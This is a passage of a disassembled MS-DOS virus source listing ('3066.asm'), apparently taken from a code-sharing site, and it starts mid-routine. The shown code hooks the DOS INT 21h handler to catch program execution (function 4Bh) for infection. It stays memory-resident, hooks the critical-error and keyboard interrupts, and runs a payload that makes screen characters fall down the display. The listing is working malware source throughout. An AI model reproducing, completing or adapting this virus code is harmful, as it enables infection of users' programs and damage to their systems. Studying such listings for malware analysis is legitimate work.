📄 3066.asm
字号:
mov es,ax
mov ax,85Bh
add ax,si
xchg ax,es:data_9e ; (0000:0090=156h)
mov ds:data_18e[si],ax ; (0000:00EA=123h)
mov ax,cs
xchg ax,es:data_10e ; (0000:0092=44Bh)
mov ds:data_19e[si],ax ; (0000:00EC=10DAh)
pop es
mov byte ptr ds:data_20e[si],0 ; (0000:00EE=23h)
retn
sub_15 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;
; Called from: 6FB8:0499, 0981
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_16 proc near
push es
xor ax,ax ; Zero register
mov es,ax
mov ax,cs:data_45e[si] ; (6FB8:00EA=0)
mov es:data_9e,ax ; (0000:0090=156h)
mov ax,cs:data_46e[si] ; (6FB8:00EC=0)
mov es:data_10e,ax ; (0000:0092=44Bh)
pop es
retn
sub_16 endp
jmp short loc_53 ; (08EA)
nop
;* jmp far ptr loc_2 ;*(029B:136C)
db 0EAh, 6Ch, 13h, 9Bh, 02h
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;
; Called from: 6FB8:0247, 08CB, 08EC, 0935
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_17 proc near
pop bx
push ds
push ax
push ds
push cs
pop ds
call sub_18 ; (08C4)
;哌哌 External Entry into Subroutine 哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;
; Called from: 6FB8:08C1
sub_18:
pop si
sub si,77Bh
jmp bx ;*Register jump
loc_51: ; xref 6FB8:0918, 091D
call sub_17 ; (08BB)
push cx
mov ax,[si+7]
mov cx,es
cmp ax,cx
pop cx
pop ds
pop ax
jnz loc_52 ; Jump if not zero
push cs
pop es
cmp ah,49h ; 'I'
je loc_52 ; Jump if equal
add bx,1D0h
loc_52: ; xref 6FB8:08D9, 08E0
pop ds
jmp short loc_55 ; (0924)
db 90h
loc_53: ; xref 6FB8:08B3, 090A, 0913
xor dx,dx ; Zero register
loc_54: ; xref 6FB8:090F
call sub_17 ; (08BB)
push es
push dx
cli ; Disable interrupts
call sub_14 ; (0858)
sti ; Enable interrupts
pop ax
mov dx,1D0h
add dx,ax
add dx,10h
pop es
pop ds
pop ax
pop ds
mov ah,31h ; '1'
jmp short loc_55 ; (0924)
cmp ah,4Ch ; 'L'
je loc_53 ; Jump if equal
cmp ah,31h ; '1'
je loc_54 ; Jump if equal
or ah,ah ; Zero ?
jz loc_53 ; Jump if zero
cmp ah,49h ; 'I'
je loc_51 ; Jump if equal
cmp ah,4Ah ; 'J'
je loc_51 ; Jump if equal
cmp ah,4Bh ; 'K'
je loc_56 ; Jump if equal
loc_55: ; xref 6FB8:08E7, 0905, 0993
;* jmp far ptr loc_4 ;*(0E4C:035D)
db 0EAh, 5Dh, 03h, 4Ch, 0Eh
db 80h,0FCh, 4Bh, 75h,0F6h
loc_56: ; xref 6FB8:0922
push cx
push dx
push es
push bx
push si
push di
push bp
call sub_17 ; (08BB)
call sub_15 ; (0875)
loc_57: ; xref 6FB8:0941, 0949
sti ; Enable interrupts
test byte ptr ds:data_26e,2 ; (0000:0972=74h)
jnz loc_57 ; Jump if not zero
cli ; Disable interrupts
test byte ptr ds:data_26e,2 ; (0000:0972=74h)
jnz loc_57 ; Jump if not zero
or byte ptr ds:data_26e,2 ; (0000:0972=74h)
pop ds
mov bx,dx
mov byte ptr cs:data_40e[si],0FFh ; (6FB8:00E2=0)
cmp byte ptr [bx+1],3Ah ; ':'
jne loc_58 ; Jump if not equal
mov al,[bx]
or al,20h ; ' '
sub al,61h ; 'a'
mov cs:data_40e[si],al ; (6FB8:00E2=0)
loc_58: ; xref 6FB8:095D
push si
push di
push es
cld ; Clear direction
mov si,dx
push cs
pop es
mov di,offset ds:[984h] ; (6FB8:0984=2Eh)
loc_59: ; xref 6FB8:0979
lodsb ; String [si] to al
stosb ; Store al to es:[di]
or al,al ; Zero ?
jnz loc_59 ; Jump if not zero
pop es
pop di
pop si
call sub_5 ; (056E)
call sub_16 ; (089A)
and byte ptr cs:[972h],0FDh ; (6FB8:0972=0BFh)
pop ax
pop ds
pop bp
pop di
pop si
pop bx
pop es
pop dx
pop cx
jmp short loc_55 ; (0924)
sub_17 endp
db 83h,0C2h, 0Fh,0B1h, 04h,0D3h
db 0EAh,0E9h, 4Dh,0FFh,0EAh,0FEh
db 5Dh, 9Bh, 02h, 56h,0E8h, 00h
db 00h, 5Eh, 81h,0EEh, 5Fh, 08h
db 2Eh, 80h, 8Ch,0EEh, 00h, 01h
db 5Eh, 32h,0C0h,0CFh, 01h, 00h
db 00h, 00h, 8Ah, 00h, 00h, 00h
db 00h, 5Fh,0FEh, 00h, 00h, 00h
db 00h,0B8h, 00h, 00h, 49h, 00h
db 00h, 00h
db 'A:\TEST3066.COM'
db 00h, 00h, 00h, 45h, 58h, 45h
db 00h, 45h, 00h
db 143 dup (0)
loc_60: ; xref 6FB8:0AEF
push cx
push ds
push es
push si
push di
push cs
pop es
cld ; Clear direction
test al,20h ; ' '
jz loc_63 ; Jump if zero
test al,2
jnz loc_64 ; Jump if not zero
xor ax,ax ; Zero register
mov ds,ax
mov al,ds:data_25e ; (0000:0449=3)
mov cx,0B800h
cmp al,7
jne loc_61 ; Jump if not equal
mov cx,0B000h
jmp short loc_62 ; (0A9F)
loc_61: ; xref 6FB8:0A90
cmp al,2
je loc_62 ; Jump if equal
cmp al,3
jne loc_64 ; Jump if not equal
loc_62: ; xref 6FB8:0A95, 0A99
mov word ptr cs:[97Ch],cx ; (6FB8:097C=5E5Fh)
or byte ptr cs:[972h],2 ; (6FB8:0972=0BFh)
mov word ptr cs:[97Eh],0 ; (6FB8:097E=0EDE8h)
mov ds,cx
mov cx,7D0h
xor si,si ; Zero register
mov di,offset ds:[0CF5h] ; (6FB8:0CF5=0BEh)
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
xor ax,ax ; Zero register
mov ds,ax
mov ax,0B92h
xchg ax,ds:data_1e ; (0000:0024=45h)
mov word ptr cs:[973h],ax ; (6FB8:0973=984h)
mov ax,cs
xchg ax,ds:data_2e ; (0000:0026=3D1h)
mov word ptr cs:[975h],ax ; (6FB8:0975=0AAACh)
loc_63: ; xref 6FB8:0A7E
mov cx,50h
mov ax,0F00h
mov di,offset data_54 ; (6FB8:0105=9)
rep stosw ; Rep when cx >0 Store ax to es:[di]
and byte ptr cs:[972h],7 ; (6FB8:0972=0BFh)
loc_64: ; xref 6FB8:0A82, 0A9D
pop di
pop si
pop es
pop ds
pop cx
jmp loc_76 ; (0BCF)
loc_65: ; xref 6FB8:0AFE
jmp short loc_60 ; (0A74)
push ax
mov byte ptr cs:[979h],0 ; (6FB8:0979=75h)
mov al,byte ptr cs:[972h] ; (6FB8:0972=0BFh)
test al,60h ; '`'
jnz loc_65 ; Jump if not zero
test al,80h
jz loc_68 ; Jump if zero
cmp word ptr cs:[97Eh],0 ; (6FB8:097E=0EDE8h)
je loc_66 ; Jump if equal
inc word ptr cs:[97Eh] ; (6FB8:097E=0EDE8h)
cmp word ptr cs:[97Eh],444h ; (6FB8:097E=0EDE8h)
jl loc_66 ; Jump if <
call sub_19 ; (0C25)
jmp loc_76 ; (0BCF)
loc_66: ; xref 6FB8:0B0A, 0B18
test al,18h
jz loc_67 ; Jump if zero
dec word ptr cs:[977h] ; (6FB8:0977=0C00Ah)
jnz loc_67 ; Jump if not zero
and byte ptr cs:[972h],0E7h ; (6FB8:0972=0BFh)
or byte ptr cs:[972h],40h ; (6FB8:0972=0BFh) '@'
test al,8
jz loc_67 ; Jump if zero
or byte ptr cs:[972h],20h ; (6FB8:0972=0BFh) ' '
loc_67: ; xref 6FB8:0B22, 0B29, 0B39, 0B4C
jmp loc_76 ; (0BCF)
loc_68: ; xref 6FB8:0B02
xor byte ptr cs:[972h],1 ; (6FB8:0972=0BFh)
test al,1
jz loc_67 ; Jump if zero
push bx
push si
push ds
mov ds,word ptr cs:[97Ch] ; (6FB8:097C=5E5Fh)
xor si,si ; Zero register
mov byte ptr cs:[96Eh],0 ; (6FB8:096E=8Bh)
loc_69: ; xref 6FB8:0BB5
mov bx,cs:data_54[si] ; (6FB8:0105=0CD09h)
or bx,bx ; Zero ?
jz loc_70 ; Jump if zero
cmp byte ptr [bx+si],20h ; ' '
jne loc_70 ; Jump if not equal
cmp byte ptr ds:data_31e[bx+si],20h ; (5E5F:FF60=0FFh) ' '
je loc_70 ; Jump if equal
mov ax,720h
xchg ax,ds:data_31e[bx+si] ; (5E5F:FF60=0FFFFh)
mov [bx+si],ax
add bx,0A0h
loc_70: ; xref 6FB8:0B65, 0B6A, 0B71
cmp bx,data_30e ; (5E5F:0FA0=0FFh)
je loc_71 ; Jump if equal
cmp byte ptr [bx+si],20h ; ' '
jne loc_71 ; Jump if not equal
jnz loc_74 ; Jump if not zero
loc_71: ; xref 6FB8:0B84, 0B89
mov bx,data_29e ; (5E5F:0F00=0FFh)
loc_72: ; xref 6FB8:0BA2
cmp byte ptr [bx+si],20h ; ' '
jne loc_73 ; Jump if not equal
cmp byte ptr ds:data_31e[bx+si],20h ; (5E5F:FF60=0FFh) ' '
jne loc_74 ; Jump if not equal
loc_73: ; xref 6FB8:0B93
sub bx,0A0h
or bx,bx ; Zero ?
jnz loc_72 ; Jump if not zero
loc_74: ; xref 6FB8:0B8B, 0B9A
mov cs:data_54[si],bx ; (6FB8:0105=0CD09h)
or word ptr cs:[96Eh],bx ; (6FB8:096E=0F28Bh)
add si,2
cmp si,0A0h
jne loc_69 ; Jump if not equal
cmp byte ptr cs:[96Eh],0 ; (6FB8:096E=8Bh)
jne loc_75 ; Jump if not equal
or byte ptr cs:[972h],80h ; (6FB8:0972=0BFh)
mov word ptr cs:[97Eh],1 ; (6FB8:097E=0EDE8h)
loc_75: ; xref 6FB8:0BBD
pop ds
pop si
pop bx
loc_76: ; xref 6FB8:0AEC, 0B1D, 0B41
pop ax
;* jmp far ptr loc_90 ;*(FC00:3F4D)
db 0EAh, 4Dh, 3Fh, 00h,0FCh
loc_77: ; xref 6FB8:0C32
mov al,20h ; ' '
out 20h,al ; port 20h, 8259-1 int command
; al = 20h, end of interrupt
pop ax
iret ; Interrupt return
db 50h,0E4h, 60h, 2Eh,0A2h, 7Ah
db 09h,0E4h, 61h, 8Ah,0E0h, 0Ch
db 80h,0E6h, 61h, 8Ah,0C4h,0E6h
db 61h, 2Eh, 80h, 3Eh, 79h, 09h
db 00h, 2Eh,0C6h, 06h, 79h, 09h
db 01h, 75h,0D9h, 2Eh,0A0h, 7Ah
db 09h, 3Ch,0F0h, 74h,0D1h, 24h
db 7Fh, 2Eh, 3Ah, 06h, 7Bh, 09h
db 2Eh,0A2h, 7Bh, 09h, 74h,0C4h
db 2Eh, 83h, 3Eh, 7Eh, 09h, 00h
db 74h, 07h, 2Eh,0C7h, 06h, 7Eh
db 09h, 01h, 00h,0E8h, 02h, 00h
db 0EBh,0B0h
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;
; Called from: 6FB8:0B1A
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_19 proc near
mov word ptr cs:[977h],28h ; (6FB8:0977=0C00Ah)
test byte ptr cs:[972h],80h ; (6FB8:0972=0BFh)
jz loc_77 ; Jump if zero
mov byte ptr cs:[970h],1 ; (6FB8:0970=0Eh)
push bx
push si
push ds
mov ds,word ptr cs:[97Ch] ; (6FB8:097C=5E5Fh)
test byte ptr cs:[972h],10h ; (6FB8:0972=0BFh)
jnz loc_81 ; Jump if not zero
or byte ptr cs:[972h],10h ; (6FB8:0972=0BFh)
xor si,si ; Zero register
loc_78: ; xref 6FB8:0C77
mov bx,data_29e ; (5E5F:0F00=0FFh)
loc_79: ; xref 6FB8:0C5E
cmp byte ptr [bx+si],20h ; ' '
je loc_80 ; Jump if equal
sub bx,0A0h
jnc loc_79 ; Jump if carry=0
mov bx,0F00h
loc_80: ; xref 6FB8:0C58
add bx,data_28e ; (5E5F:00A0=0FFh)
mov cs:data_54[si],bx ; (6FB8:0105=0CD09h)
mov word ptr cs:[980h][si],bx ; (6FB8:0980=0E8FBh)
inc si
inc si
cmp si,data_37e ; (6FB8:00A0=0)
jne loc_78 ; Jump if not equal
loc_81: ; xref 6FB8:0C48
xor si,si ; Zero register
loc_82: ; xref 6FB8:0CE4
cmp cs:data_54[si],0FA0h ; (6FB8:0105=0CD09h)
je loc_88 ; Jump if equal
mov bx,word ptr cs:[980h][si] ; (6FB8:0980=0E8FBh)
mov ax,[bx+si]
cmp ax,word ptr cs:[0CF5h][bx+si] ; (6FB8:0CF5=0F5BEh)
jne loc_84 ; Jump if not equal
push bx
loc_83: ; xref 6FB8:0CA0, 0CA4
or bx,bx ; Zero ?
jz loc_86 ; Jump if zero
sub bx,0A0h
cmp ax,word ptr cs:[0CF5h][bx+si] ; (6FB8:0CF5=0F5BEh)
jne loc_83 ; Jump if not equal
cmp ax,[bx+si]
je loc_83 ; Jump if equal
pop bx
loc_84: ; xref 6FB8:0C90
or bx,bx ; Zero ?
jnz loc_85 ; Jump if not zero
mov word ptr [si],720h
jmp short loc_87 ; (0CCB)
loc_85: ; xref 6FB8:0CA9
mov ax,[bx+si]
mov ds:data_31e[bx+si],ax ; (5E5F:FF60=0FFFFh)
mov word ptr [bx+si],720h
sub word ptr cs:[980h][si],0A0h ; (6FB8:0980=0E8FBh)
mov byte ptr cs:[970h],0 ; (6FB8:0970=0Eh)
jmp short loc_88 ; (0CDE)
loc_86: ; xref 6FB8:0C95
pop bx
loc_87: ; xref 6FB8:0CAF
mov bx,cs:data_54[si] ; (6FB8:0105=0CD09h)
add bx,0A0h
mov cs:data_54[si],bx ; (6FB8:0105=0CD09h)
mov word ptr cs:[980h][si],bx ; (6FB8:0980=0E8FBh)
loc_88: ; xref 6FB8:0C82, 0CC8
inc si
inc si
cmp si,0A0h
jne loc_82 ; Jump if not equal
cmp byte ptr cs:[970h],0 ; (6FB8:0970=0Eh)
je loc_89 ; Jump if equal
push es
push di
push cx
push ds
pop es
push cs
pop ds
mov si,offset ds:[0CF5h] ; (6FB8:0CF5=0BEh)
xor di,di ; Zero register
mov cx,7D0h
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
mov word ptr cs:[977h],0FFDCh ; (6FB8:0977=0C00Ah)
and byte ptr cs:[972h],4 ; (6FB8:0972=0BFh)
or byte ptr cs:[972h],88h ; (6FB8:0972=0BFh)
mov word ptr cs:[97Eh],0 ; (6FB8:097E=0EDE8h)
xor ax,ax ; Zero register
mov ds,ax
mov ax,word ptr cs:[973h] ; (6FB8:0973=984h)
mov ds:data_1e,ax ; (0000:0024=45h)
mov ax,word ptr cs:[975h] ; (6FB8:0975=0AAACh)
mov ds:data_2e,ax ; (0000:0026=3D1h)
pop cx
pop di
pop es
loc_89: ; xref 6FB8:0CEC
pop ds
pop si
pop bx
retn
sub_19 endp
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;
; Called from: 6FB8:04D3, 04EC
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
sub_20 proc near
cld ; Clear direction
pop ax
sub ax,si
add ax,di
push es
push ax
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
retf ; Return far
sub_20 endp
db 90h, 50h,0E8h,0E2h, 03h, 8Bh
seg_a ends
end start
北北北北北北北北北北 CROSS REFERENCE - KEY ENTRY POINTS 北北北北北北北北北
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -